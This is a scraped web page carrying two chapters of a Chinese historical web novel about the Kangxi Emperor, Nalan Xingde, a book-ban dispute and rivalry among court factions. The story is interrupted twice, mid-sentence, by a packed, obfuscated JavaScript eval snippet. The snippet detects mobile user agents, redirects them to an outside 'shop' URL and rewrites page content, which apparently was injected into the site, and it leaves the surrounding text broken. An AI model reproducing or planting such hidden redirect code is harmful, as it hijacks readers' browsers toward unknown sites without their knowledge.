“朕没想什么,就是想看看纳兰的本事。反正禁书令朕已经下了,收不回了。” “纳兰置身其中、首当其冲,他没叫朕给他主持公道、也没在皇阿奶面前说朕的不是,可见他是不怕死、不怕那些想为张岱出头的恨不得暗杀了他的‘前明壮士’们!” ——皇上,你知道“不怕”跟“不安”的区别在哪儿吗? ——我现在是不安,惴惴不安。 纳兰没说话,真要反驳玄烨,还真拿不出措辞来。 “玄烨,纳兰,你俩跪安吧!皇后留下来陪我说说话。” “孙儿告退/臣告退。” * 君臣一并走在去书房的通途中。 “朕听说你现在一套衣服就要花五万金,”玄烨对纳兰笑道,“那日后朕打三藩,是不是要去你家里向你要点钱、来置办军饷啊?” “皇上明知道是有人造谣。” “朕的福建水师,造一艘战舰才申请朝廷调拨军费十五万金。”玄烨挖苦纳兰道,“朕的御敌装备,呵呵,不过是跟纳兰公子的三套衣服等价。” “皇上要是较真,那我就无话可说了。” “你编写《通志堂经解》的经费,要不要朕给你出?”玄烨换了副正经的态度,“你不是不想麻烦你阿玛明珠吗?” “《通志堂经解》我还没有开始着手,等到具体的编撰规划出来、上呈皇上阅览批示以后,再谈论开销之事不迟。” “你还知道叫朕阅览批示啊?” “应当的。” “应当的?是为臣本份应当,还是为君有责应当?”玄烨不依不饶,“纳兰你编写《古抄本十二卷》前后,怎么没有问朕的意见?” “《古抄本十二卷》相关的经典,是徐乾学徐先生送来的。他的本意不是为我扬名声,而是想累垮我,所以我不想皇上多过问编书的经过,只想把最后的成果刊印出来、交给皇上看,这就够了。” “好。那朕就准了你的意思。” 玄烨驻足在距离书房百米处。 “你要写的《渌水亭杂识》,跟历朝历代的同类书籍相比如何?” “我自然是希望能做到最全最好,只是评价权在世人手中。” “朕给你一个特权,皇宫里的书,你可以随便看、随便取。” 此话一出,玄烨就看到了纳兰高兴的神情: 能得纳兰发自内心的一笑,别说是一个两个特权,十个朕也给的起! 朕做朕的明君、做朕的蓝图、做朕的千秋伟业;纳兰做他的贤臣、做他的学问、做他的一世名声。如此就好。 “你回家去吧!朕今天不留你了。” “是,纳兰告退。” 【注1】《渌水亭杂识》中,纳兰性德记载道:“日本,唐时始有人往彼,而居留者谓之‘大唐街’,今且长十里矣。” 62.第62章 玄烨回到养心殿。 见李天馥在外头候着,就问他国子监那边有什么事要禀。 “皇上,臣在登高之日喜闻:索额图索大人次子格尔芬,有与明珠大人之子容若一起考功名的决心,特来告知。” 说着,李天馥又拿出一卷轴来,道:“这是容若登高后,回到国子监所绘的《春无踪迹谁知》图,臣转呈皇上览阅。” 玄烨冷问:“纳兰不知春踪迹,大学士徐乾学给纳兰‘开示’了没有?” “回皇上话,徐大人不但给容若开示、还给课堂上的诸生做了详解。” “哦?”玄烨半笑,“徐先生怎么说的?” “徐大人费了半个时辰大论:过度惜春眷春乃是读书人的大忌,这就跟不能过度悲秋伤秋一样;春之生机如同人之志向,唯有向前看,才能欣欣向荣,不可回看过往踪迹,否则百无一益。徐大人还说,容若画作虚无缥缈、不知立意在何处,不可谓佳作。” “那朕就给徐先生一个机会,让他去把纳兰的绘画作品拿到前朝的文人当中,再把那些文人的看法收集起来,亲自来回朕。” 李天馥问:“皇上,您把张岱先生的作品《夜航船》给列为了禁书,如今皇宫外头风声紧的很,让徐大人去干这件事,是否不妥?” “纳兰可是徐乾学的学生,老师为学生奔走有错吗?”玄烨运筹帷幄道,“朕倒要看看,徐乾学到了那些前朝的文人面前,是继续贬低纳兰的画作,还是把纳兰的画作往高处捧。” “皇上高明啊!”李天馥感叹,“如此一来,让徐乾学出面去面对前朝文人,想必他也知道轻重,不敢不把容若的安危看在眼里。这样一来,可以大大镇压一些激愤人士想要‘刺杀容若’、为张岱鸣不平的气焰。” “朕拿纳兰当借口来把张岱的书列为禁书,是朕的过失,所以朕要千方百计弥补过失。不能让纳兰不安。” “臣明白了,会把容若的《春无踪迹谁知》图交给徐乾学,向他说清楚皇上的意思。” “即刻去办。” “是!” * 下一刻,侍卫曹寅前来求见。 “叫曹侍卫进来。”玄烨对顾问行道,“朕现在精神的很,就想接连不断地听人来做汇报。” “是。”顾问行匆匆往外走。 “臣曹寅参见皇上。” “免礼。” “画赝作冒充禹画师之人已经查明了,并非个人作案,而是两人合谋为之。一个是个写话本子的,叫做洪昇,人传是个‘不孝子’,但是在文学方面却是颇有才华;另一个是画画的,叫做张纯修,擅长画山水,扬言要给纳兰性德的词集作序。” “纳兰想出词集吗?朕怎么不知道?” “臣也不知纳兰要出词集之事,只当那张纯修是在脑中幻想。” “容奴才说一句,”顾问行插了句嘴,“曹侍卫你说张纯修是画画的,他如何能够有自信去给《饮水词》作序?” “顾总管。”玄烨咳了一声,“如今索额图的二公子都能诗了,还有什么是不能发生的?只不过,纳兰的作品无论如何发行、谁人作序、谁人做解,大前提都是属于朕的,不单是他的词,包括他的人、他的一生,都是属于朕的!” 顾问行不敢言语。 只觉得万岁爷神情犀利、言语霸气,像个征服者一般,不许纳兰公子逃脱他的手心,好似到了执着和偏激的地步。 “张纯修自称给纳兰送了一盆待到五月份之时、能够长到近三米高的蜀葵小苗,纳兰对此颇是期待,遂交他为友,赠他十六个字:一人知己,可以无恨,余与张子,有同心矣。” “住口!”玄烨一扫桌上的茶杯。 在“啪”的一声刺耳破碎音中,指着曹寅骂道: “你方才说的那些,若是全部都是张纯修的一派胡言就罢,反之纳兰真敢在家里栽蜀葵小苗,朕就叫你去铲平了他的渌水亭!好啊!!纳兰不跟朕论知己论同心,倒是把一片感恩心用在旁人身上了。” “万岁爷您息怒啊。”顾问行劝道,“张纯修所言,只是他一家之言罢了。” 玄烨叫顾总管扫干净了地上的茶杯碎片之后,调整好了自己的情绪,问道:“别的朕不想听你多说了,洪昇和张纯修,事后被怎么处置了?” “回皇上,没有处置。他俩主动到衙门去坦诚了赝作之事,功过相抵,衙门就放人了。”赶在玄烨发问之前,曹寅主动补充了一句,“他俩没去找纳兰。” “那就好。”玄烨心情忽然转晴,“禹之鼎呢,经历过这件事情之后他怎么说?” “禹画师说日后只尽心尽力为皇上作画。” 曹寅自己编造出了这前半句来迎合玄烨的心情。 看见玄烨的笑容以后,才继续道:“民间字画交易,真假难辨,猫腻甚多,要是处处探寻处处纠结,就会没完没了,还不如专注宫中的差事,律己求进的好。” “有这样的觉悟就好。”玄烨兴致大好,“你叫禹之鼎过来,就说朕想看看他画技是否有进步。” * 曹寅走后,玄烨竟然从身上抽出一把锋利的短刀来,猛地往自己的正眼前一亮一晃一振。 顾问行哪里知道皇上往身上带了刀? 吓的是纹丝不动,只感觉前前后后都是嗖嗖而来的冷风。 “朕是满人,自小就知道如何自我保护。”玄烨对着锋刃上倒映出来的虚像冷看,“这把刀,朕不但要用来自保、也要用来保护他。” 顾问行紧张的连呼吸都快停止了,皇上这是怎么了? 不断地给纳兰公子制造困局、又不断扮演一个在乎他和要为他解围的角色……到如今,持刀在手,大失规矩,这行为哪是列祖列宗们在养心殿做过的? 玄烨将那把短刀凌空一出刺,同时君威十足地道出一句话来: “大清江山,千秋万代。朕如锋芒明灭之利刃,纳兰如绚烂凋零之樱花,相随……相随如君臣亦敌亦友之不弃。” 也许是因为人少殿内空旷的缘故,这句话格外响亮。 说话者康熙皇帝的模样,已经深深刻入了史册之中: 那一日那一君,高调无情却又低沉真挚,说:君为佩刀,臣属樱花。 无人解无人懂,此心无题却寻答案难题,恨:刀者必勇,花落不柔。 顾问行忽然跪问:“万岁爷,奴才愚钝,如今才懂的您的心情,就是不知道禹画师能否将您心境之中的所想画出来啊?” 玄烨仍旧是刀不离手,未应顾总管、而应了“不在似在”的纳兰: “朕不怪禹之鼎画出什么作品来,只等他画好以后,盖上朕的印玺,题上朕的亲笔诗,命人作品送到明府去。” “纳兰你不许不懂,不许……!!” * 次日,朝堂之上。 列位臣工之间,泾渭依旧分明,态度依旧慎微。 候驾期间。 索额图对明珠大骂:“明珠大人,你家长公子就是汉人们的公敌!除了一阙阙华丽词作和律诗,他还有过别的文学成就吗?如今欺负到了汉人们头上,误国误君,教唆起皇上禁可以作为谈资的‘百科全书’来了?” 明珠冷静异常,对容若,昨晚自己在家中已经好好警醒过他了,今日该来的事情还是会来的,还不如打开天窗跟众朝臣说亮话呢。 “索大人,你家二公子在我儿容若的影响下,可是长进了?”明珠这么一问,“我儿容若能够写出比禁书更好的通识全书来,叫做《渌水亭杂识》,皇上就有底气去禁张岱的胡搅蛮缠之作《夜航船》,如何?” “顺带说一句,根据我儿容若的考证陈据,《夜航船》中的错误不少,本官认为:该书的确是不应该再存于世,天子圣明。” 一句“天子圣明”,堵的索额图无话可说。 皇上的意思,大臣们哪能私下多议? 康熙皇帝驾到之后,很快就进入了正题。 “朕听说,满朝上下对朕下令禁书之事,颇有微词。”康熙看着众位臣子,“不知道众位臣工是觉得:朕意气用事?还是朕禁书的理由不妥?” 索额图站出来道:“启禀皇上,臣以为:张岱本就是宫内人人潜意识里都会避谈的对象,皇上您是断断不会主动拿了他的书来读的,否则就是公然反逆了太皇太后的教诲。能让皇上把张岱的书读的进去且解不出题目来的人,唯有陪臣纳兰性德。所以臣的意思是:纳兰性德必须严惩,最好是贬为庶民,一生不可再近皇城再临君侧。” 玄烨看向纳兰的父亲,问:“明珠,你有何话要说?” 明珠道:“容若治学严谨,偶有闪失,臣已经教导他及时止损。至于那道算术题,皇上您不必放在心上,就是容若自编自娱的无解题罢了。说到底,一切都是明府掌管书阁的人糊涂,才会叫张岱的《夜航船》流入,引发后续系列大事,臣已经对书阁的掌事之人逐出家门了。” “真是一派胡言!”索额图反驳明珠道,“纳兰性德平时看什么书,你这个做父亲的会不过问不知道吗?明珠你休要把一个无辜书阁掌事人拎出来顶罪。” “朕觉得纳兰性德是位忠臣啊!索大人你因何口出叫朕把他贬为庶民之言?”玄烨故作为难,“怕朕就算是迫于形势点了头,慈宁宫里的老祖宗也不会答应。” “皇上,将纳兰性德贬为庶民:只是削去了他贵公子的身份和陪臣的肩书,又不会要了他的命。我儿阿尔吉善被流放到蛮夷之地,生死未卜,以此作比,纳兰性德的‘驱逐出京’之罪罚,岂非已经最善?” 说罢,素额图竟然为长子痛哭起来,不顾失仪于君前。 康熙皇帝走下銮阶,冲索额图怒道: “索额图,你身为朕的叔丈人,大哭于朕的朝堂之上;身为重臣,与明珠对峙,而处处针对纳兰性德。朕今日要议的,仅仅是禁书这一件事,你就原形毕露,只想打击异己,真是有损我大清官吏的道德!” “陈廷敬,你说索额图该当何罪?”康熙问向自己的老师,“给朕说!” “这个……”陈廷敬一咬牙,大声道,“索大人该当‘党同伐异‘和’欺君误国‘这两大罪。” 康熙再问:“按律该如何罚?” 陈廷敬应道:“党争之罪,一旦祸国,就该押入天牢囚禁至死,不得翻身;错策错行之罪,上升到国家大事层面,应该杖责二十。” “好。”康熙看向明珠,“明珠你说,索额图是现在就按律处置,还是饶恕他?” “皇上,索额图还不能倒啊!”明珠清醒道,“他要是倒了,朝中没有可以替代他的存在感之人。” “那朕就先饶索额图一次。” 康熙说罢,回到了宝座上。 康熙道:“回归正题,禁书之事,接着再议——” 汉臣张英【注1】站出来道: “臣以为,皇上的禁书之举,虽有得罪前明士人之嫌,但无可厚非。臣斗胆说一句,《夜航船》虽为谈资之书,但也不是人人都能看懂。包括皇上您在内,也是经由纳兰公子的讲述,才所得一二。因此此书禁之也罢,在民间并无多大影响,只是会在前明士人的圈子里一石激起千层浪罢了。面对如此局面,当剿则剿、当抚则抚,如此二选,处理起来也不困难。” 汉臣施琅道: “臣虽然只是一介武将,只懂得水上作战的功夫,但是也为纳兰公子的人品所深深折服——所谓‘纳兰公子一套私服消耗五万金’之说,完全是臣酒后的玩笑之言,只想着拿来与需开销十五万金的福建水师战舰做比较,却不想这无心之说越传越广,的确是臣之过。” “所幸是纳兰公子不怪,反倒是时常与我有书信来往,劝我利用天气、潮汐、航局来反思统驭水军之策,好在将来派上大用。” “所以臣以为,纳兰公子牵涉入皇上的禁书之事,实在是‘好心’换来了‘横祸’,应当受到保护才是。不知皇上以为如何?” 康熙道:“明珠府邸戒备森严,要是连纳兰性德的周全都保护不了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736832|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就是天意。朕自知禁书之事,因果皆是在己,之所以把‘禁’的理由栽在了纳兰性德头上,只是因为自己信任侧臣、想要磨砺侧臣。众臣工不必妄加揣测。” 满朝文武齐声道:“臣等遵命。” 退朝之前,康熙说了这么一番话: “先帝为求满汉一统,有许多操之过急之策。如今朕君临天下,将用自己的方式解决这一难局。禁书,只是一个开端……” “日后朕要是再听见如下言论:满人骁勇无学不懂孔孟之道;黑山白水比不上泰山黄河;弩刀弓箭有耻于尖枪利炮;女真问鼎中原格格不入于汉人的五千年文明……无论发声者是谁,绝不轻饶!” 少年天子的气宇轩昂,他要打开的不是一扇窗,而是一道通往不尽景致的大门。 凡是都需要一个切入点,哪怕是以“引爆点”的方式出现的“切入点”,只要玄烨和纳兰之间君臣心有灵犀,必将可懂“凡帝王者,文治武功,以谋江山”之意: ——文,以汉人治汉人,相杀或相投,黑黑白白,挤兑人性。 ——武,以前明士人的“热血傲骨”去碰“冰冷冰清”的珠玉公子,烈日秋霜,以众敌少。 玄烨背着手离开皇帝宝座,心中语: “纳兰,为何那道天文算术题偏偏是对朕无解?朕应当信明珠的话,还是应当揣摩你的心事?” * 明府。 容若站在书桌前画画,忽然,一个疑似飞镖的暗器穿窗而入,“嗖——”地一声从他的脖子边飞过,“砰——”地一下击倒了对面的花瓶。 “袖云。”容若下意识地叫了一声。 “是,公子。”袖云处事,向来不会惊慌。 袖云用丝帕包住那个暗器,放在了容若的画桌上。 容若的心态倒是好。 “所以我才跟额娘说,一切防不胜防,要为张岱鸣不平的人想要暗害了我,哪是明府四周多设几个守卫能解决的?即便是把我的房间包围起来,有心人一样有机可乘。” “公子仔细着些总是好的。”袖云看了眼跟平日里无别的窗外景,“最起码要把刚刚这事去跟夫人说了。” “知道了,我会去告知额娘。” 容若隔着丝帕,拿起了暗器来看: 这是个带着四个刀叶的、杀伤力极大的旋转式飞镖。所走的轨迹多为弧轨而非直轨,看来犯人是在房间外面的斜侧来下的手。拿银针辨别,此物推断为无毒。 “公子事后再想,那暗器就跟脖颈挨擦而过,可是后怕?” “嗯,怕自己运气太差中招,也怕袖云你被误伤。” “多谢公子关心,只要是为公子好,袖云宁愿伤的是自己。” “袖云,多顾着自己。” “是。袖云与公子一共,留心各处、斥灾厄。” “许久没有舞剑,不如到房间外头去尽尽兴。” 容若忽然来了兴致。 窗外玉兰花落了一瓣,是少了谁寒暄吗? 花园里的草木少了人,也是寂寞吗? 那我就去…… * 花园中。 容若对剑术未曾生疏,一招一式,尽展“能武”的公子风范。 俗话说,短刀长剑。 若是玄烨“亮刀”以气场和眼神取胜,那么容若“试剑”则是以招数和气度称赢。玄烨不知此场景,否则应有话说;玄烨未见此场景,否则应想较高低。 士人多擅剑,满人多擅弓。 这么想来,有剑哪里少得了酒?像是阿玛和额娘不让提不让看的“李白”,不就是个潇洒豁达、能剑又能酒的英才吗?弯弓应向悲笳处,不负此生矫健驱。 满人从马背上而来的江山,如今到了康熙皇帝手中,自己竟然徒然生出“春樱之悲”来,绚烂为一瞬,零落亦是一瞬,不知康熙皇帝能否体会? 一阵舞剑下来,身体不汗,容若坐在石桌旁小讶。 袖云亦是担心,询问公子,是否有所不适或欠恙? 容若摇头,心中莫名咯噔一下。 觉罗氏带着揆叙和揆方过来,一并围桌坐下。 “额娘见你舞剑,就叫了你的两个弟弟来看,你专注于此,并未留意到我们、也未听见两个弟弟的掌声和叫好声。这就极好,一心一意。” 容若道:“额娘了解儿子。” 揆叙道:“容若哥哥要为今日舞剑之感写一首词吗?” “完整词歌待成。”容若思忖,“其中一句却是上了心头:书剑志、莫负鸿鹄,长驱的卢。” 揆方问:“长兄觉得古往今来,那首写剑的诗最好?” “我一向不爱读杜甫的诗,因为他那一句:安得广厦千万间。天宫有十二神君,各司其职,其中掌管三千世界工事的‘居乐神君’名唤:广厦。我认为杜甫的诗句是对广厦神君的极大不敬,才会最终落得一个被掌管众生宿命的‘司宿神君’安排的‘撑食酒肉而死’的下场。” “长兄信‘十二神君’之说吗?” “信。我与额娘一同去济国寺祈福,礼‘居乐神君’位,祈求:天下苍生安居乐业、阿玛明珠举荐的治水人才靳辅所承之工事顺顺利利;礼‘司宿神君’位,祈求:宿命因果,来去自如,纳兰家长岁安宁。” “长兄所指的、杜甫的‘写剑’写的最好的诗句,是哪一句?” “这句——” 拔剑击大荒,日收胡马群。 誓开玄冥北,持以奉吾君。【注2】 就在此时, 明珠从朝堂回到家里。 明珠走向家人们,相互之间问候了一番之后,道: “容若,到阿玛房间来,阿玛有事跟你商议。” 【注1】张英:1、张廷玉之父。2、“三尺巷”故事的主角,千里修书只为墙,让他三尺又何妨?3、大清“三强父子”亚军:另外两对父子是明珠容若、和珅丰绅殷德。 【注2】出自杜甫诗作《后出塞五首》。 63.第63章 房间之中,父子俩人临窗而坐。 明珠点了一盏纳兰香,看样子是想跟容若作久谈。 “儿啊,今日福建水师统领施琅在朝堂之上为你说话了。即便是‘容若公子一套私服五万金’的谣言是从他口中传出的,阿玛仍旧觉得他是个人才,日后必将精忠报国。” “施琅从福建来京师了?儿不知道。” 二人有过书信交情,尚未见过面,所以得知施琅离的近的消息时,容若多少为之振奋。 “阿玛也不知道他什么时候来的。”明珠转而问,“你看这福建水师跟陆军铁骑相比如何?” “横向或是纵向都不能放一块比。”容若想了想,“要说当下,皇上肯定是重视陆军铁骑比福建水师要多,毕竟‘撤藩’和‘平藩’是计日程功之事。” “你说阿玛要不要先往福建水师投个赌注,赌施琅能够成就一番大功绩?” “儿觉得可行。阿玛您会说话,等到时机成熟之时,可向皇上言及施琅,您下赌注之前也要先探路探皇上的态度,不是吗?阿玛您看得透,定是不会只下赌注,而不为自己和为纳兰家留‘万一赌错了’的后路。” “是啊。”明珠深深感慨,“如今的朝纲和局势,眼光不放长远不行、不慧眼识珠更是不行……” 随后,明珠问起了这半晌家里的情况,听到容若差点被暗器所伤之事,十分关切地询问了儿子有无受到惊吓,直到容若说了三次“儿没事”之后,才放下心来。 明珠扬言要把“暗器”的出处细查,查到线索后,将涉事之人全部处死。容若说,既然是暗杀用的神器,哪里会交给外头的工匠去打制?多半是恶徒自制的,阿玛的人越是费心去查、越是查不出结果来。 明珠气愤道:“那也不能就这么算了!” 容若反问:“是利用皇上的禁书令,来对我下手的阿玛的政敌的手下所为?还是与张岱同一立场、为之出气的前明壮士之举?分得清吗?” 明珠执意道:“那些恶徒,宁可错杀,不可放过。” “请阿玛不要中了暗处敌对势力的挑衅。”容若起身请礼,“静观其变。” “阿玛要是静观其变,怕是你的命就没了!”明珠焦躁道,“如今明府四面楚歌,阿玛是担心你啊!” “阿玛不妨揣测揣测皇上的用意:皇上拿纳兰性德作为禁书之由,真的是无谋之举、冲动之举吗?不是,皇上在布一个大局。” “你的意思是?” “皇上想要冲破受制于汉人文化钳制的局面。”容若颇是自知,“阿玛你说,儿即便是满腹才情又怎么样?摆在皇上的治国愿景面前,他想对儿怎么利用还是怎么利用,怎么压制还是怎么压制,儿这条命和儿这一生,在皇上看来就是属于他的,不留反驳余地。” “莫论当下,”明珠皱眉,“日后皇上想要牺牲你来成就自己的宏图大业,你也认命吗?” “儿没有认命。”容若清醒道,“只是在说事实。” “到时候你如何应对?” “儿即便是死了,对皇上也只有这一句:一生逐寒,杜鹃啼血。” * 密林之中,宋应星宅。 沈宛把容若给的蜀葵小苗缓苗数日之后,才落地去栽种。 这么说来,公子现在是半步也没法踏出明府了。 铁定支持张岱的“激进分子”也好、趁乱而动的“索党之徒”也罢,无一不是对公子虎视眈眈。 沈宛遥想起那一日。 容若从皇宫回家以后,就取了一盆蜀葵小苗出来,放在了“饮水词歌·素菜馆”的特设雅室之中,留了一张字条: 此为蜀葵,友张纯修所赠,奈何家府不可栽此物,深憾之,遂转望宛卿收下。悉从张君听闻,蜀葵五月可到生长盛期,株高三米,花大盖掌,望宛卿择空旷之处栽种,不负繁花似锦约。 纳兰(致)。 字条之下,有容若写的小笺一枚。 《缒金丝·与卿见》 莫道秋花淡鹅黄,几片夕照更添香。我自零落识春,留却刻舟迹一行。何求?东君吹瘦,檀心翠叶,为谁轻妆。迎风处,楼阙铃铛。 饮尽流觞,方知此身不由,拂去憎与夸。京华公子乘月去,江南红颜莫思家,烟水茫茫处,双鲤吹浪沙。思来日,简衣素履向山发,与卿见、蜀葵花。 宋应星从里屋出来。 “御婵,你在做什么?” “回师傅,前些日子,我从市集上购得一盆蜀葵小苗,已经过了缓苗期,正往地里栽呢。卖花的小贩告诉我,开的是鹅黄色的花儿。” 宋应星不禁仰望起来,“蜀葵这东西可了不得,一旦没命地长,能高过我这间宅子。” “我会好好养的,等到花开后,还能收获蜀葵子。”沈宛充满期待,“有人喜欢菩提子,我就近水楼台,把蜀葵子收了为趣。” 宋应星顺着她的话问:“你说谁喜欢收集菩提子?” “我只是举个例子而已。”沈宛笑了笑,“师傅怎么能叫我说出个具体人名来?” “我安排在内宫的探子说,康熙皇帝对一串自穿的十四瓣金刚菩提子手串十分在意,你不会是在打皇帝的主意吧?听师傅一句,即便是为了大明,凡事也要好好部署才是。” “师傅多虑了,‘菩提子’我就是随便说说,当不得是有所指。” “那就好。” 二人进入屋中。 宋应星指着装《天工开物》全卷的加锁箱子,略气道:“康熙皇帝如今把张岱的书《夜航船》列为禁书,怕是这一朝都不会开禁了。我的书也有抄本流出过,就是不知道纳兰性德看过没有,会不会再做自私之事!” “再做?”沈宛不解,“师傅是指什么?” “探子给我回话说,纳兰性德准备写一部百科全书,叫做《渌水亭杂识》。他怕无法超越张岱的同类大作《夜航船》,就找了个借口,称张岱的书思想偏激、内容偏颇,不利于大清统治,叫康熙皇帝把《夜航船》给禁了!” 沈宛神色惊讶:“这怎么会?” “怎么不会?”宋应星宁愿相信探子的话,“翩翩公子帅气的样貌和满腹的才思之下,是一颗丑陋善妒之心啊!” 沈宛想起登高前日,自己跟容若一起去踩点登高地附近有没有水源地时,容若就提起了张岱。 容若称张岱为“张岱先生”,对他无比尊敬,说有机会自己想拜访他。 如此佳公子,竟然被像师傅这样的“前明士人”们一致误会成了“才高善妒”和“自私为己”之人,沈宛真替容若抱不平。 * 索额图府邸。 李光地带了施琅前去拜见。 穿过回廊之时,李光地特地提醒道:“施大人呐,索大人有意将你揽入麾下共同效力朝廷,你可不能仗着一副倔性子不识抬举啊。” 施琅作为一名武将,对如何选对立场,所谙非深,只晓得“明索两党”各怀心思,自己不管是沾了明珠的边还是沾了索额图的边,都不见得往后能得个自由之身,还不如保持中立得了。 “施大人。”李光地没听见他回应,只好再多说了一言,“你堂而皇之地在朝堂上承认了自己对贵公子的衣料费的造谣,还公然说贵公子有多大度,这可不是明智之举啊!” “李大人为何这样说?” “难道你不知道明珠大人是个锱铢必较、秋后算账之人吗?”李光地对施琅恐吓道,“所以你还不如稳稳当当地追随索额图索大人来的好啊!” 入座客厅。 索额图对施琅非常客气,原因直接明了:施琅如今只在福建统率水师,实在是屈才了,与其让他被明珠父子拢络了去,还不如先一步让他死心塌地地成为一个索党之人。 “施大人,你自称跟纳兰公子有书信往来,你要知道,皇上最忌讳的就是:官僚与自己身边侧臣的相互勾结,这可是‘藐视君威’和‘有营私之嫌’的大错行啊!” 施琅哪里吃李光地和索额图一前一后的惊吓之法和施压之术? 作为一介武夫,施琅为人正直,压根不怕自己的“书信之行”被人抨击。 见施琅无动于衷,索额图继续道:“皇上信任你还是忌惮你,全在一念之间。你要是照着纳兰公子的建议,把福建水师训练的可以敌国,也就是两个后果:第一是背负了重任去打郑成功;第二是担上一个‘造反’的污名死无葬身之地。你说皇上会怎么对你?” 施琅道:“下官只懂得练兵和搞海上贸易,跟索大人这样善于玩弄权术和心术的朝廷高官实在是相处不来。” 索额图不由得想大骂: ——本官是为你好,免得你落入明珠父子手中,被玩弄于股掌还不自知。 ——本官想要一步一步地提拔你,只要你对本官忠心效力,你心里没点数吗? 索额图装出善意的样子,道:“施大人,朝廷上的事情你要是理不来,本官也无需你去理,你只需在回到福建以后,把心思多往本官身上靠就好。” 施琅询问:“下官要是跟纳兰公子断了往来,而追随了索大人你,能够得到什么好处?” “哎呀施大人,话可不能这么说,我索额图岂是个挖墙脚之人?我只是在救你罢了!你要是投靠我,立功立威,成为沿海令人闻风丧胆的第一勇士,到时候莫说一个水师提督之位,即便是靖海将军之殊荣也不在话下啊。” “索大人的意思是:下官能够成为一位将军?” “这如何不能啊?”索额图笑着拍了拍施琅的后背,“有战功、有名望、有本官的担保,靖海将军之位非你莫属啊!” 施琅不是个贪图高位之人,只一身傲骨,想做个顶天立地的男子汉罢了。 所以,他并未被索额图所诱惑,而是都索额图拱手道:“下官三日后回归福建,索大人不必派人来送。” 索额图在心里一怒: ——好你这个施琅,敬酒不吃吃罚酒,是把本官的好心当作驴肝肺了吗? ——还是明珠父子许了你更大的好处,以至于你敢不把本官的意思放在眼里? 索额图皮笑肉不笑,道:“施大人,前路风云莫测,你可要好好看清楚方向再迈步啊!本官这里,随时欢迎你来坐。” “多谢索大人,下官告退。” 施琅一身正气地走出索府。 他哪里能够料到,在日后,自己终究是卷入了“明索两党”的洪流之中,共面台岛。 只是—— 他行的是正道,所以不惧亲自督战的“特命钦差大臣”索额图; 他扬的是正旗,所以更不怕后发制人的“特命招抚大臣”明珠。 * 几日后。 沈宛在院子里空旷出给蜀葵浇水。 她在心中想到了容若说过的一番话: “大清要想文治天下,需得汉籍士人之心。康熙皇帝继承祖上的江山易,收服天下士人之心难。哪怕多得一份士人忠心,也可以一当百。” 那时她问:“公子怎么看待汉籍的士人们?” 容若道:“我一面尊敬扎实用功之人、一面回避沽名钓誉之辈。但是二者有一共通点,就是对自身的根源的认同。所以本着‘汉籍士人不可欺,汉学经典不可负’之心,我结交了不少汉人朋友,他们当中有人善待我、有人虚捧我、有人求于我、有人利用我,我看得出,但是不想挑明说。” 她问:“为什么?” “做个观察者比直言者好。”容若捂了捂心脏,“最起码在自食苦果的时候,心里有数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741450|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,痛的没有那么彻。” 沈宛弯腰,用指尖碰了碰蜀葵小苗叶子上的水珠。 等到五月花开时,要是无法携手容若到这里看鹅黄花,就给他画一幅画,把最神似和最漂亮的鹅黄花画给他看。 然后,沈宛决定: 在画的落款处,要盖上他为她刻的印章。 * 徐乾学在午后到来。 没一会儿,“禁书”事件的当事人张岱也来了。 “张公啊……”徐乾学摆出同情的模样,“如今你的大作《夜航船》已然被禁,再难让世人们看到了,可是心中悲恨万分?届时纳兰性德的仿作《渌水亭杂识》问世刊印,你是看得还是看不得?” “能解《夜航船》者,天下唯纳兰性德而已;能听《夜航船》讲授者,天下唯康熙皇帝而已。第一才子和至高君主都看过了我的书,我还有什么好悲恨的?” 张岱摇了摇头,豁达道:“至于说纳兰性德的计划之作,我怎么会看不得呢?我甚至想看他的原稿,谁不知道他写的一手好字?” 徐乾学见没法煽动张岱的情绪,就转向宋应星,叹声道: “宋公,虽说你在暗处,不如张公那般出入士人圈子、树大招风,但是难保朝廷不清算到你头上啊!你那暗藏书中的‘华夷之辨’的思想要是被贵公子察觉了,到皇上耳边那么一说,就不是禁书毁书那么简单了,而是直接砍脑袋!” 宋应星大笑,后反问:“比起贵公子,我不是更应该提防你吗?徐乾学,你不是个好人,且早存了出卖我之心。“ “宋公、张公,还有宛姑娘,你们可别怨本官做了朝廷的走狗。” 徐乾学自己承认了。 “本官现在,可谓是处在水深火热之中。前有太皇太后孝庄亲自出马,叫我这个汉籍大儒为纳兰性德正名;后有康熙皇帝叫李天馥把纳兰性德的画作《春无踪迹谁知》图给我,叫我带着那玩意儿到‘前明士人’当中去作死——收集众人看法后回禀于圣前。” “本官这不是:从恨不得纳兰性德获罪的推手,不得已成了救他于危难的帮手吗?真是老天爷和时局都不允许本官对贵公子落井下石啊!” 沈宛故意道:“谁叫徐先生你如今不属于明党、也不属于索党呢?朝廷不就是需要你这样一个‘保持中立’的官员出来办事和让‘前明士人’们闭嘴吗?” “保持中立?”徐乾学一跺脚,“明党弃我,索党弃我,我参合不进去两大派阀而已,不必把自己塑造的太高尚。” 宋应星抚掌,对徐乾学大笑而讽。 “徐乾学啊徐乾学,你以为自己有本事扳倒‘明索两党’吗?两大天王要是一并倒了,朝纲向谁倾斜啊?你还得至少熬个二十年,才能见到‘明索两党’的分晓。那个时候康熙皇帝早懂该如何治国和治人了,朝纲即便是倾斜了,铜墙铁壁向他倒去、也砸不死他!” 